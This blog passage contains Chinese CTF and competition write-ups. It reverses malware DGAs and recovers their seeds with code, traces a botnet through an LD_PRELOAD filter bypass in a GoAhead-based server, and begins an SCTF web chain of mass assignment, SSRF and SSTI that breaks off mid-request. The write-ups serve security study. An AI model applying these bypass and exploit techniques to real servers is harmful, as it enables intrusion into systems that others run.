    v12 = 0;
    while ( v14 % (5 - v12) )
    {
      if ( ++v12 == 5 )
        goto LABEL_16;
    }
    strcat(v24, v17[v12]);
LABEL_16:
    result = puts(v24);
    ++v14;
  }
  while ( v14 != 1000 );
  return result;
}

改了下v22的类型，分析算法流程，大概就是长度为8的数组，前三个是年月日，第四个是0，后面四个是v14（次数）的低32bit，一个占8bit，然后与种子异或，md5得到结果再按程序一个逻辑得到可见字符，然后根据v14确定后缀。

这里MD5Update这些函数信息理应是隐藏的，出题人没注意，正式比赛应该给修正了，其实通过 Magic number 可以判断是 md5,我还下了断点动态调试验证了一下。

其实只有种子未知，直接照着逻辑实现一遍，拿第一个域名爆破种子就好了。md5算法是网上找的一个实现：https://blog.csdn.net/weixin_42167759/article/details/81209320。

#include 
#include 
#include "md5.c"
char *v17[] = {".biz",".info",".org",".net",".com"};
unsigned __int8 v18[8];
unsigned char v15[9];
unsigned char v16[16];
char v21[30];
signed int v4;
int i;
int v14,v5,v6,v7,v8,v10,v11,v9,v12;
char* dga_v2(int a1,int a2,int a3,unsigned int a4)
{
v14=0;
do
{
memset(v18, 0, sizeof(v18));
v4 = v14 & 0xFFFFFFFE;
    v18[0] = (unsigned __int8)(a1 + 48);
    v18[1] = (unsigned __int8)a2;
    v18[2] = (unsigned __int8)a3;
    v5 = 0;
    do
    {
      v6 = (unsigned __int8)v4;
      v4 >>= 8;
      v18[v5++ + 4] = v6;
    }
while ( v5 != 4 );

v7 = 0;
do
{
v18[v7] ^= (unsigned __int8)(a4 >> 8 * (v7 & 3));
++v7;
}
    while ( v7 != 8 );
    v8 = 0;
    do
    {
      v15[v8] = v18[v8];
      ++v8;
    }
    while ( v8 != 8 );
    v15[v8]=0;
    MD5_CTX md5;
MD5Init(&md5);        
MD5Update(&md5,v15,strlen(v15));
MD5Final(&md5,(unsigned __int8 *)v16);
memset(v21, 0, 0x64u);
v10 = 0;
v9 = 0;
do
{
v11 = (v16[v10] & 0xF) + ((signed int)(unsigned __int8)v16[v10] >> 4) + 97;
if ( v11 <= 122 )
{
v21[v9] = v11;
v21[++v9] = 0;
}
++v10;
}
while ( v10 != 16 );
v12 = 0;
while ( v14 % (5 - v12) )
{
++v12;
}
strcat(v21, v17[v12]);
//printf("%s\n",v21);
++v14;
}while(v14!=1);
return v21;

}
int main()
{
unsigned seed;
char correct[]="ezzijueztfslhhrp.biz";
for(seed = 0;seed < ((1<<32)-1) ;seed++){
if(!strcmp(correct,dga_v2(2020,5,10,seed))){
printf("%u",seed);
}
}
return 0;
}

跑了挺久的，得到种子是1836927723，直接生成就好了。

sample2

拖到IDA反汇编，看到就一个dga函数：

1	dga("cw3OGGsoaako7GSGG3", "umyyobuorstfabj.com", (char (*)[5])v4, 3, 1000);

v4可以看到是域名的后缀名，包括[‘pw’, ‘us’, ‘club’]。

看dga函数：

int __cdecl dga(char *a1, char *a2, char (*a3)[5], int a4, int a5)
{
  char *v5; // edx
  int v6; // eax
  int v7; // ecx
  int result; // eax
  int v9; // eax
  int v10; // ebx
  signed int v11; // edx
  char (*v12)[5]; // ebx
  int v13; // esi
  char (*v14)[5]; // ST08_4
  int v15; // [esp+1Ch] [ebp-CCh]
  int v16; // [esp+20h] [ebp-C8h]
  unsigned __int8 v17; // [esp+24h] [ebp-C4h]
  unsigned __int8 v18; // [esp+28h] [ebp-C0h]
  int v19; // [esp+2Ch] [ebp-BCh]
  char v20; // [esp+31h] [ebp-B7h]
  char v21[4]; // [esp+32h] [ebp-B6h]
  char v22; // [esp+36h] [ebp-B2h]
  int v23[15]; // [esp+50h] [ebp-98h]
  int v24; // [esp+8Ch] [ebp-5Ch]
  int v25[22]; // [esp+90h] [ebp-58h]

  v5 = a2;                    
  memset(v23, 0, 0x40u);
  *(_DWORD *)v21 = 0;
  v17 = 0;                    
  memset(&v22, 0, 0x1Au);
  v6 = 0;                     
  do
  {
    v7 = a1[v6];
    v17 += v7;
    v23[v6++] = v7;         
  }
  while ( v6 != 16 );
  v19 = 0;                 
  v15 = (unsigned __int8)v24;  
  while ( 1 )
  {
    result = v19;
    if ( v19 >= a5 )  
      break;
    v9 = 0;
    memset(v25, 0, 0x40u);
    do
    {
      v25[v9] = v5[v9];
      ++v9;
    }
    while ( v9 != 16 );        
    v10 = v15;
    v11 = 1;                  //v11:1
    memset(v21, 0, 0x1Eu);
    v18 = v17;                //v18:0
    do
    {
      while ( 1 )
      {
        v16 = (v18 ^ (*(&v24 + v11) + v10)) + v25[v11];
        v10 = (unsigned __int8)v16;
        if ( (unsigned int)(unsigned __int8)v16 - 98 <= 0x17 )
          break;
        ++v18;
      }
      ++v11;
      *(&v20 + strlen(v21) + 1) = v16;
      v21[strlen(v21) + 1] = 0;
    }
    while ( v11 != 13 );
    v12 = a3;
    *(&v20 + strlen(v21) + 1) = 46;
    v13 = 0;
    v21[strlen(v21) + 1] = 0;
    while ( v13 < a4 )
    {
      v14 = v12;
      ++v13;
      ++v12;
      printf("%s%s\n", v21, v14);
    }
    strcat(v21, &(*a3)[5 * a4 - 5]);
    ++v19;
    v5 = v21;
  }
  return result;
}

生成域名的重点代码是这段：

do
    {
      while ( 1 )
      {
        v16 = (v18 ^ (*(&v24 + v11) + v10)) + v25[v11];
        v10 = (unsigned __int8)v16;
        if ( (unsigned int)(unsigned __int8)v16 - 98 <= 0x17 )
          break;
        ++v18;
      }
      ++v11;
      *(&v20 + strlen(v21) + 1) = v16;
      v21[strlen(v21) + 1] = 0;
    }
    while ( v11 != 13 );

下面是加后缀的，不用管。

里面涉及的变量，v18是v17赋值，v17是“cw3OGGsoaako7GSGG3”的ascii码的和（低8位）。

v11是一个不知道哪的数，v25是“umyyobuorstfabj.com”，v24未知。v24很奇怪，用法是类似数组的用法，声明却是int，手动改成int类型的数组，重新反编译。

int __cdecl dga(char *a1, char *a2, char (*a3)[5], int a4, int a5)
{
  char *v5; // edx
  int v6; // eax
  int v7; // ecx
  int result; // eax
  int v9; // eax
  int v10; // ebx
  signed int v11; // edx
  char (*v12)[5]; // ebx
  int v13; // esi
  char (*v14)[5]; // ST08_4
  int v15; // [esp+1Ch] [ebp-CCh]
  int v16; // [esp+20h] [ebp-C8h]
  unsigned __int8 v17; // [esp+24h] [ebp-C4h]
  unsigned __int8 v18; // [esp+28h] [ebp-C0h]
  int v19; // [esp+2Ch] [ebp-BCh]
  char v20; // [esp+31h] [ebp-B7h]
  char v21[4]; // [esp+32h] [ebp-B6h]
  char v22; // [esp+36h] [ebp-B2h]
  int v23[15]; // [esp+50h] [ebp-98h]
  int v24[14]; // [esp+8Ch] [ebp-5Ch]

  v5 = a2;
  memset(v23, 0, 0x40u);
  *(_DWORD *)v21 = 0;
  v17 = 0;
  memset(&v22, 0, 0x1Au);
  v6 = 0;
  do
  {
    v7 = a1[v6];
    v17 += v7;
    v23[v6++] = v7;
  }
  while ( v6 != 16 );
  v19 = 0;
  v15 = LOBYTE(v24[0]);
  while ( 1 )
  {
    result = v19;
    if ( v19 >= a5 )
      break;
    v9 = 0;
    memset(&v24[1], 0, 0x40u);
    do
    {
      v24[v9 + 1] = v5[v9];
      ++v9;
    }
    while ( v9 != 16 );
    v10 = v15;
    v11 = 1;
    memset(v21, 0, 0x1Eu);
    v18 = v17;
    do
    {
      while ( 1 )
      {
        v16 = (v18 ^ (v24[v11] + v10)) + v24[v11 + 1];
        v10 = (unsigned __int8)v16;
        if ( (unsigned int)(unsigned __int8)v16 - 98 <= 0x17 )
          break;
        ++v18;
      }
      ++v11;
      *(&v20 + strlen(v21) + 1) = v16;
      v21[strlen(v21) + 1] = 0;
    }
    while ( v11 != 13 );
    v12 = a3;
    *(&v20 + strlen(v21) + 1) = 46;
    v13 = 0;
    v21[strlen(v21) + 1] = 0;
    while ( v13 < a4 )
    {
      v14 = v12;
      ++v13;
      ++v12;
      printf("%s%s\n", v21, v14);
    }
    strcat(v21, &(*a3)[5 * a4 - 5]);
    ++v19;
    v5 = v21;
  }
  return result;
}

这样就好看多了，之前的v24和v25指向的数据是同一数据。

往下看，发现v5 = v21;，v21会作为下一个域名生成算法的输入，覆盖”umyyobuorstfabj.com”。

现在也不知道选了哪个后缀的域名作为的v21，动态调一下，发现是club。

我们没有a1和a2，但是只有第一个域名生成用到了a2，后面的域名生成基于上一个域名，我们选一组挨着的域名，a2的问题解决了。a1也只是用了个ascii码的和，256种可能。

这里面还有个v10不知道，256种可能，所以我们可以爆破256*256种可能，还原出这两个值。

得到了两组值：84, 119与85, 48。

然后直接照着算法逻辑跑可以得到后面的所有域名，与txt中结果比对，发现84，119的是正确的。

脚本：

s1 = "xuvsxyrbjiyv"
s2 = "rgujkdffrpde"


def calc(v18, v10, s1):
    v11 = 0
    res = ""
    while 1:
        while 1:
            v16 = (v18 ^ (ord(s1[v11]) + v10)) + ord(s1[v11 + 1])
            v10 = v16 & 0xff
            if (v10 - 98) & 0xffffff <= 0x17:
                break
            v18 += 1
        res += chr(v10)
        v11 += 1
        if v11 == 12:
            break
    return res


# for v18 in range(255):
#     for v10 in range(255):
#         if calc(v18,v10,s1) == s2:
#             print v18,v10
#             break
v18, v10 = 84, 119
# v18, v10 = 85, 48
res = []
for i in range(1000):
    for ext in ['pw', 'us', 'club']:
        res.append("%s.%s" % (s1, ext))
    s1 = calc(v18, v10, s1 + ".club")
with open("domains2.txt", "w") as f:
    f.write("\n".join(res))

(unsigned int)(unsigned __int8)v16 - 98 <= 0x17 这个判断，注意无符号数，开始python没注意到这个问题，动态调试了一会才发现这里的问题。

sample3

拖进IDA分析，代码很简单，指定随机数种子取余来生成字符串。32bit的种子，但是给的100个域名是随机采样的100个域名，打乱了顺序，没法直接爆破。

应该是要看rand的源码，参考https://crypto.stackexchange.com/questions/6760/how-does-the-rand-function-in-c-work

关键源码：

static long holdrand = 1L;
int rand() {
  return (((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
}
void srand(unsigned int seed) {
   holdrand = (long) seed;
}

可以看到其实生成随机数算法很简单，就一行。而且每次生成的随机数仅取决于holdrand，生成一个随机数的同时指定下一次生成随机数的holdrand，就是一个递推公式。

这个题目相当于给了我们100个连续的随机数片段（模35的结果），但是我们不知道每个片段的index。

同时程序在输出dga域名时，输出第一个dga域名只需要生成一个dga；输出第二个dga域名时要生成两个dga，把最后一个输出；输出第三个dga域名时要生成三个dga，把最后的输出，也就是说程序共生成了1+2+3+…+1000，即500500 个域名。

其实定义种子就是定义一个holdrand，我们任意选一个输出域名，直接爆破种子，可以得到生成这个域名前的holdrand。

就拿第一个域名为例，直接爆破：

#include 
#include 
int main()
{
char res[24];
int i;
char v11[35]="abcdefghijklmnopqrstuvwxyz123456789";
char correct[19]="13mrjyvjjp4azbbkt7";
unsigned int seed;
for(seed=0;seed<(1<<32-1);seed++){
srand(seed);
int flag=1;
for(i=0;i<18;i++){
if(!(v11[rand()%34]==correct[i])){
flag = 0;
break;
}
}
if(flag){
printf("%u\n",seed);
}
}

   
   return 0;
}

得到682174533，也就是说生成13mrjyvjjp4azbbkt7之前，holdrand的值是682174533。

接下来我们需要确定，这个域名是第几个输出的。我们可以以682174533为种子一直生成域名，把每个域名与题目中的100个域名对比，相等就记录下来是第几个生成的，代码：

#include 
#include 
char *ext[]= {".ru",".com",".net",".biz",".cn"};
char v11[35]="abcdefghijklmnopqrstuvwxyz123456789";
char correct[101][24] = {"13mrjyvjjp4azbbkt7.com","1i8vw27dwm8ndevior.biz","1j24mwoqqyfcx1qqss.ru","1salpm53tfy88aqd5n.com","2iffaefkjqo8bjtcu8.net","2my1q1eee7i6ogxrgq.ru","34wg8meomx1na5m2wc.net","38yijueupbbm5k5czj.ru","3wcly5scymjapoj7qa.com","4bgi4o12snvq6ox3dx.cn","4girwa5l6z8zl5ehbh.net","52nh81fuoma1qppv8f.ru","54u6nwwry22lay7x1r.cn","5d8bf1p66ysy5bqfwj.cn","5ewy3vxhb3vl5ydjhl.biz","63sww2skr1kynlp56s.net","6danvuyai8sykkg15r.biz","6fqlt8ygeov2xb73vn.cn","78zk88cs6viwj31qhh.com","7lglt6bjbnxmnjvea8.biz","7sryvpk8j76mmyfzqv.biz","7xlwbrwad4khucxjo1.cn","86ajx1ehnoxtoas81w.com","8hmadc4ktcbp434i7v.com","a6mj5awo1llzf6vptc.com","aey5xbjb1yytrpo1qc.cn","b7rv1i7lguqh4571ic.cn","bmqqhw57ih541j2ker.biz","cnfy6toctwqfckkcm2.ru","cqjenuvx2vg7eit63h.cn","cvbs1koh7mst2ds3ld.com","cwcnn4b4wge5xilv7n.com","diynmgrfvjlblouob1.biz","djzmdjg3omx8p4ns3e.biz","dk8ttigditrpxafg8i.biz","dxhun2re2x1jywmwqo.biz","eizwxdiapuco67vpa5.ru","ep1gcq3mont3wtaygc.cn","eqvp786z5t2iingl3x.com","fltekcvgk42fitmjws.net","fqqghkn46vjkzpru8b.cn","gblgpuvnvdh2t7lz6f.biz","giwn2ajock6qoo8jqh.com","gsrt5g6dc44y1krilm.com","gwwflrqe8tzdnkzbad.net","gxmmxc1yxlcky4b48i.ru","h5oj6uvuhhc1fayebb.net","hcp2gvoxls1nfcr8ve.cn","hee15fplmi7lewt1mh.net","hejxlnvf1f8qeuzvrl.com","hoovp7rac48dhvpmpz.net","i8qq4ws38cyucerw4a.net","ip6uqhdcpffrcihueb.biz","it2qi12jtir5ezbngj.net","jg84zupddsz2474o31.cn","jhhha1dkrcxbpq1gef.net","jp562btwn6b6lqh2v4.net","jr6nwh7kpi5yvamuth.ru","juq233tm5x226256yt.biz","kcfyhc1qpuehugdhfh.cn","krawjmve7je3leppj6.com","ksz45gy7lg64m1yegu.biz","kym26cus7oy47ejdns.biz","l8pvucuo31tafkray5.net","maree2g5ofzkpawm3p.com","mcbp8rmlocn8lx82tk.ru","n57guekus5jogctr3e.biz","n8zlxmjoj4ygms8de7.biz","nbrbhh2tcj2lg6bmz2.net","nlbyrkzjx2mxrs36ox.ru","npeqblt5rstjedji14.com","nyc5q1wpfk8wz2wwcr.net","opfqo1et1t2uafmian.com","ox6ytaor1zaw3q4ayh.cn","p3otg2s5rroc6q66lo.biz","pi5kv5smcp2c6apyws.cn","piw3lg3rg6l7hkil5c.cn","pw2rtqouw8jv3ygrjz.cn","qasmd3q8fextt8d8pe.com","qn3spnkqzq7zbk78u2.biz","qs4rbmn88sszioir2p.cn","qxv77gv8yiju5u6lr5.biz","rn4lgriv68zkediyl8.biz","seym7xlklokoetaznu.biz","sfidso8x1el2zafisb.com","suoj6qdfb6phfu27d5.com","tf552bfsqgm2mvftz7.cn","tf6ccv76jkdza7qbxj.com","tojrtinlfkhwy777q4.biz","tr44klrfrnaj5pwr8u.com","tu7yg7dr41juxibyv1.ru","tyn1pdkagg4pq8zjwy.cn","uatztm3o4cn58p8ez6.ru","uga11fbdkk6p3eehst.biz","vcdtmzs5ug6njdjosa.ru","vpn8qcwrsnzb88juv2.net","vsd4t2zh81fux8hje5.com","vu86xk61km7tir5yx4.biz","ykmg2j4deklnyg3dsq.net","zv88bhuwftedaspl56.ru"};
void brute_force(unsigned int seed)
{
int amount=0;
char res[24];
int v1 = 1;
srand(seed);
int v2,v3,v5,len,v7;
int num=0;
do
{
v2=0;
do
{
res[0]=0;
v7 = 18;
do
{
len=strlen(res);
res[len]=v11[rand()%34];
res[len+1]=0;
v3 = v7-- == 1;
}
while(!v3);
v5 = rand();
strcat(res,ext[v5%5]);
amount++;
int tmp;
for(tmp=0;tmp<100;tmp++){
if(strcmp(res,correct[tmp])==0){
printf("%d,",amount);
break;
}
}
++v2;
}
while(v1!=v2);
++v1;
}
while(v1!=1000);

}
int main()
{
char res[24];
unsigned int seed=682174533;
brute_force(seed);

   return 0;
}

得到:

1	1,725,1450,2176,5821,6553,34340,35110,35881,38975,39751,67541,68353,69166,102506,

这些对应的域名都是在输出13mrjyvjjp4azbbkt7之后输出的，输出的数字就是偏移域名数量。

然后我们把500500个域名中输出域名的index列出来，遍历所有index，如果对于上面的每个偏移，index加上偏移的结果依然在index的list中，那么我们就找到13mrjyvjjp4azbbkt7的index（即13mrjyvjjp4azbbkt7是程序生成的第几个域名）。

Python脚本：

index_list = []
num = 0
for i in range(1, 1001):
    for j in range(i):
        num += 1
    index_list.append(num)
b = [1, 725, 1450, 2176, 5821, 6553, 34340, 35110, 35881, 38975, 39751, 67541, 68353, 69166, 102506]
index = 0
for a in index_list:
    flag = True
    for i in b:
        if (a + i - 1) not in index_list:
            flag = False
    if flag:
        index = a
        print(a)

输出261726，也就是说这个域名是程序随机生成的第261726个域名。

现在我们需要通过现在的状态，还原初始种子。递推公式是holdrand = holdrand * 214013L + 2531011L，这里long类型会产生溢出，可能出现负数，导致无法直接逆推回去。

查阅c语言存储long类型的相关知识，原理是一个long类型用32bit存储，最高位作为正负标志位，其余31bit记录值，如果计算结果超出32bit，那就只取低32bit。

这里想了很久如何逆推解方程，最后发现其实不用管什么正负，因为生成的随机数是holdrand 32位中的高16位，无论怎么溢出，只要关心holdrand低32位就好了，即使正负标志位是1，我们也可以当成正常的32bit正数来计算。这样可以把问题转成解同余方程：

1	a*x+b=c mod n

n是2^32，a是214013L，b是2531011L，解方程直接减b再乘逆元就好了。

这个域名是第261726个生成的域名，我们只需要逆推 (261726-1)*19次状态，就可以还原到最初的seed。

Python脚本：

from gmpy2 import *
index = 261726
seed = 682174533
a_inv = invert(214013, 2 ** 32)


def inv():
    global seed
    seed = ((seed - 2531011) * a_inv) % (2 ** 32)

for i in range(index-1):
    for _ in range(19):
        inv()
print seed

得到初始seed是77980108，然后生成dga域名就好了：

#include 
#include 
int main(){
unsigned int seed = 77980108;
char res[24];
char v11[36]="abcdefghijklmnopqrstuvwxyz123456789";
char *ext[]= {".ru",".com",".net",".biz",".cn"};
int v1 = 1;
srand(seed);
int v2,v3,v5,len,v7;
do
{
v2=0;
do
{
res[0]=0;
v7 = 18;
do
{
len=strlen(res);
res[len]=v11[rand()%34];
res[len+1]=0;
v3 = v7-- == 1;
}
while(!v3);
v5 = rand();
if(v2==(v1-1)){
printf("%s%s\n",res,ext[v5%5]);
}
++v2;
}
while(v1!=v2);
++v1;
}
while(v1!=1001);

return 0;
}

发现给的100个域名都在我们生成的域名里，证明答案无误。

僵尸网络分析题目一-Botnet追踪—追到我就让你嘿嘿嘿

这个题我评估后出题人根据我的反馈，对题目做了一定的调整。

赛题信息

设计说明

Datacon software是一家以IOT产品开发为主要业务的公司，他们在开源Web server GoAhead的基础上定制了一款名为XGoAhead的Web server使用在自己的产品中。某天Datacon software收到外部情报反馈：其定制开发的XGoAhead疑似存在漏洞，且已遭到僵尸网络利用。现在你的任务是找到这个僵尸网络的C2域名。

代码与数据说明

目前已知的线索如下

XGoAhead最新版本源码
XGoAhead最新版本源码
Passive DNS数据

提供的XGoAhead软件代码只能运行在Linux操作系统上且须使用make工具构建，推荐使用Ubuntu 18.04 x86_64或Centos 7 x86_64，不推荐在其他系统/平台上使用。

提供的公网Web蜜罐数据仅为蜜罐服务器接收到的来自公网的流量，远不能覆盖整个互联网的情况，仅为观测样本。

提供的Passive DNS仅为小范围Client IP的数据，远不能覆盖整个互联网的情况，仅为观测样本。

数据格式

Web蜜罐数据

该数据位于压缩包中的honeypot.json文件，其来源于公网部署的Web蜜罐，数据采集的时间范围是2020年5月。文件中每一行为一个JSON字符串，代表一条蜜罐日志，即针对蜜罐的一次HTTP请求，详细字段解释如下：

字段	解释
eventid	事件类型，数据文件中均为“attack.web”
method	HTTP method
body	HTTP body
url	HTTP request URL
header	HTTP request headers
path	HTTP request path
protocol	应用层协议，数据文件中均为“http”
src_ip	源IP地址（已加盐哈希处理）
src_port	源端口
dst_port	目的端口
timestamp	数据捕获的时间（格林尼治时间）

Passive DNS 数据

该数据位于access.cvs中，该数据表示DNS请求记录，即DNS客户端IP请求解析的域名记录。该数据采集于2020年5月的某一天。格式为CSV，每行三个字段，分别为“域名”、“客户端IP（已加盐哈希处理）”、“一小时内的请求次数”，请求时间已去除（脱敏）。

提交形式

题目修改前提交内容：

可能利用XGoAhead漏洞的僵尸网络的C2域名

答案通过文本文件提交，如果找到了多个C2域名则一行一个C2域名。文件使用ASCII编码，换行符为“\n”，文件末尾留一个空行。

XGoAhead中漏洞所在的文件名和函数名（如果XGoAhead存在漏洞则需要提交该答案）

通过文本文件提交，格式为“文件名:函数名”（冒号为英文冒号，大小写敏感），如存在多个漏洞则一行一个漏洞，换行符为“\n”，文件末尾留一个空行。

题目修改后提交内容：

提交可能感染僵尸网络的IP

解题过程

先讲下当时做题的过程。

题目要求找到这个僵尸网络的C2域名，并找出 xgoahead 漏洞点。

做题思路应该大致是这样

源码审计，找出漏洞点
根据漏洞，从蜜罐流量中找出攻击流量
根据攻击流量的源IP，在 passive dns 中找出 C2 域名。

源码审计

既然是基于 goahead 改的，先把 goahead 源码拉下来 diff 一下。goahead 网上的源码下载链接大多挂了，github也没了，在这里下到了 4.1.3 的源码：https://www.embedthis.com/goahead/download.html

拉下来 diff 一下。

主要的改动就是增加了一个 xcgi，这个 xcgi 看起来跟 cgi 功能差不多。其他没啥自己写的功能代码，搜一波 goahead 的漏洞：

CVE-2019-5096 有个RCE，参考 https://www.anquanke.com/post/id/194322，不过 xgoahead 已经修复了。

CVE-2017-17562 有个 cgi 的 RCE，参考 https://xz.aliyun.com/t/6407#toc-2， xgoahead 也修复了，是官方的解决方案：

envp = walloc(envpsize * sizeof(char*));
if (wp->vars) {
    for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
        if (s->content.valid && s->content.type == string) {
            vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
            if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") ||
                smatch(vp, "IFS") || smatch(vp, "CDPATH") ||
                smatch(vp, "PATH") || sstarts(vp, "LD_")) {
                continue;
            }
            if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
                envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string,
                    s->content.value.string);
            } else {
                envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
            }
            trace(0, "Env[%d] %s", n, envp[n-1]);
            if (n >= envpsize) {
                envpsize *= 2;
                envp = wrealloc(envp, envpsize * sizeof(char *));
            }
        }
    }
}

增加了过滤。

但是 xcgi 没有这么严格的过滤，只过滤了 LD_:

/*
    Check if request is safe.
 */
static int beSafe(Webs *wp)
{
    if (wp->query != NULL) {
        if (strstr(wp->query, "LD_") != NULL)
            return 0;
    }
    return 1;
}

这里应该是漏洞点。（~~并不知道如何 bypass~~）

跟那个漏洞，还发现一处奇怪的地方:

Xgoahead 对临时文件的文件名处理，把 count++ 取消了，那一直都是只能写那一个文件。

数据分析

数据量较大，做分析处理比较麻烦，考虑导入数据库，方便后续操作。试了很多种方法，最后还是用 Python 解析数据再入库。

倒入数据库脚本：

# -*- coding: UTF-8 -*-
import os
import json
import pymysql

db = pymysql.connect("localhost", "root", "", "datacon")
cursor = db.cursor()

path1 = "access.csv"
sql = 'INSERT INTO access(id,domain,ip_hash,times) VALUES (%s,%s,%s,%s)'
id = 1
error = 0
tmp = []
with open(path1, 'r') as f:
    while True:
        line_data = f.readline()
        if line_data:
            try:
                domain,ip_hash,times = line_data.strip().split(",")
            except:
                print(id,line_data.strip().split(","))
                error += 1
                continue
            tmp.append((id,domain,ip_hash,int(times)))
            id += 1
        else:
            try:
                cursor.executemany(sql, tmp)
                db.commit()
            except Exception as e:
                print(e)
            break
        if id % 500 == 0:
            try:
                cursor.executemany(sql, tmp)
                db.commit()
            except Exception as e:
                print(e)
            tmp = []
print(error)

处理数据时，Access.csv 部分数据有些问题，如6416行，217333行，直接跳过处理了，还不少，大部分是多了请求的ip。

绝大部分请求ip都是 cfda2160b0298e40a2d3fbe79e8d309a，感觉对做题没啥影响，因为蜜罐数据里根本就没有这个ip。

导入库后，大体观察一下，寻找漏洞特征。

如果利用 xcgi 那个漏洞，按照 xgoahead 源码的路由，要访问 /xcgi，不过没发现这样的流量。需要上传恶意 so 文件，流量里也有传 elf 的。

（不过发现有的 elf 拖下来逆向分析，没啥恶意行为）

看一下有多少 ip 发出了上传 so 的请求：

发现是 65 个，可以把这些 ip 拿出来，去 access.csv 看一下这些 ip 的 dns请求。

# -*- coding: UTF-8 -*-
import os
import json
import pymysql

db = pymysql.connect("localhost", "root", "", "datacon")
cursor = db.cursor()

cursor.execute("select distinct src_ip from honeypot  where locate('7fELF',body)>0")
elf_ip = []
for data in cursor.fetchall():
    elf_ip.append(data[0])
for ip in elf_ip:
    cursor.execute("select distinct domain from access where ip_hash='%s'"%ip)
    print(cursor.fetchall())

发现 passivedns 中只有其中两个 ip 的记录： 625210b633ed23166798790a3180b6dc 与 eef5239efd6c7cc9f2e08f4a6f45d76b。看了下蜜罐流量，两个 ip 都是只有一条记录，上传的 elf 拖下来看了下也是恶意的：

而且文件名有 tmp/tmp-0.tmp，和之前修改的那部分代码可以对应上。

看起来这两个 ip 还请求了不少正常的域名，C2 域名应该是公共的吧，把这两个 ip 请求的域名取下交集，人工看一下，找到了一个 .ga 后缀的域名，这个域名就是最终的C2域名。

PS：流量里 bypass 过滤的方法是把 LD_PRELOAD 放到表单里上传。

题目修改

出题人本意是想让选手先分析处漏洞bypass的利用方式，再通过exp找攻击过流量，最后找C2域名。显然我的方法属于把答案偷了出来。一波讨论出题人对题目进行了一些修改：

提交内容改成了可能受感染的IP。
xgoahead代码进行了调整，把 count++ 那块的修改移除了（太刻意了），增大选手分析难度。
之前我把所有上传elf的ip都去 passivedns 查了个遍，有dns记录的ip就是攻击ip，出题人这次把流量中的攻击ip增加了两个，同时 dns 中还没有相应请求记录。不过可以按照我原来的方法找到那两个ip，回过头分析流量中exp特征，再筛选这样就可以找出全部的四个ip了，所以出题人最后应该是在passivedns中删除了这四个ip的请求记录。
对流量中上传的 elf 做了些文章，选手需要去分析恶意elf的行为，从而通过 passivedns 找出剩余的受感染 IP。

所以题目正解过程如下：

分析漏洞，找到 bypass WAF方式。
通过exp，提取攻击流量，获得四个IP。
分析ELF行为，去 passivedns 里找出剩下的 IP。

后面分析 ELF 部分我没有做了，详细可见阿里云安全的 writeup：https://zhuanlan.zhihu.com/p/186254809?utm_source=wechat_session&utm_medium=social&utm_oi=771453567763492864&utm_content=sec&wechatShare=2&s_r=0

不过题目还是有一些投机取巧的办法的，可以把所有上传elf的流量都拖下来，就60多个ip传了elf，然后可以人工分析一波，应该就两种流量，这样就可以在无法 bypass WAF的情况下找到攻击流量。这种方法最后也没有堵死，留一种trick的做题方法23333。

总结

本次赛题评估还是学到了不少东西的。

勉强算是入了门逆向orz
sample3 这个逆推思路比较新颖，CTF的密码学题目也没接触过这类
大数据流量的分析，靠手工和 python 脚本分析不够方便，入库操作还是比较舒服
学习了 xgoahead bypass WAF的姿势，其实分析那个漏洞需要动态调 C，自己也不太熟
…

看到今年 Datacon 圆满结束，希望大家也能在这次 Datacon 中有所收获！

2020 SCTF 部分wp

2020-07-06T03:56:38.000Z

Syclover 比较良心，比赛结束不久就放出了 docker 与 wp：https://github.com/SycloverSecurity/SCTF2020。跟着复现学习一下。

Web

CloudDisk

参考：https://github.com/dlau/koa-body/issues/75。

flag在当前目录下：

Jsonhub

主要参考：https://evi0s.com/2020/07/06/sctf-2020-web-writeup/。

给了docker，分析源码。

我们需要getshell，web2 里有个明显的 SSTI，但是 web2 开在默认的 5000 端口没有映射出来，显然是通过 web1 进行 SSRF。web1 中 rpc可以发出 post 请求，但是需要本地访问，/home 路由提供了一个 SSRF 的功能，所以我们的思路很清晰了：

1	/home处SSRF -> flask_rpc处SSRF请求web2 -> web2处SSTI getshell

但是这中间有很多阻碍：

我们需要拿到 token，才可以使用 /home 处的 SSRF 功能；
/home 的 SSRF 对 ip 限制为 39.104.19.182，而我们要 127.0.0.1，需要bypass；
web2 对 SSTI 进行了过滤，需要绕过 before_request 与正则。

获取 token

可以发现，登陆 admin 可以拿到 token。

问题出在注册这里：

def reg(request):
    if request.method == "GET":
        return render(request, "templates/reg.html")
    elif request.method == "POST":
        try:
            data = json.loads(request.body)
        except ValueError:
            return JsonResponse({"code": -1, "message": "Request data can't be unmarshal"})

        if len(User.objects.filter(username=data["username"])) != 0:
            return JsonResponse({"code": 1})
        User.objects.create_user(**data)
        return JsonResponse({"code": 0})

把 json loads 之后全部传进了 create_user，导致 Mass Assignment vulnerability。

本地剪个 admin 账户：

root@8eb21982749e:/app/web1# python3 manage.py createsuperuser --username=admin --email=admin@qq.com
Password:
Password (again):
Superuser created successfully.
MariaDB [django]> select * from auth_user;
+----+--------------------------------------------------------------------------------+----------------------------+--------------+----------+------------+-----------+--------------+----------+-----------+----------------------------+
| id | password                                                                       | last_login                 | is_superuser | username | first_name | last_name | email        | is_staff | is_active | date_joined                |
+----+--------------------------------------------------------------------------------+----------------------------+--------------+----------+------------+-----------+--------------+----------+-----------+----------------------------+
|  1 | pbkdf2_sha256$100000$3xAODJylgYga$G9hPEnmyXyCpNV9QUl16746Ga01bEXODvtK7XkflG80= | 2020-07-05 13:14:38.941645 |            0 | gml      |            |           |              |        0 |         1 | 2020-07-05 13:10:43.134720 |
|  3 | pbkdf2_sha256$100000$BnspmrIUg8nT$vgQIE6+vsVv/v0lqdp42coSGikFkPKrFpD1++IdJv0k= | NULL                       |            1 | admin    |            |           | admin@qq.com |        1 |         1 | 2020-07-07 02:50:19.953829 |

照着这些，传进去多个 fields：

POST /reg/ HTTP/1.1
Host: 39.104.19.182
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
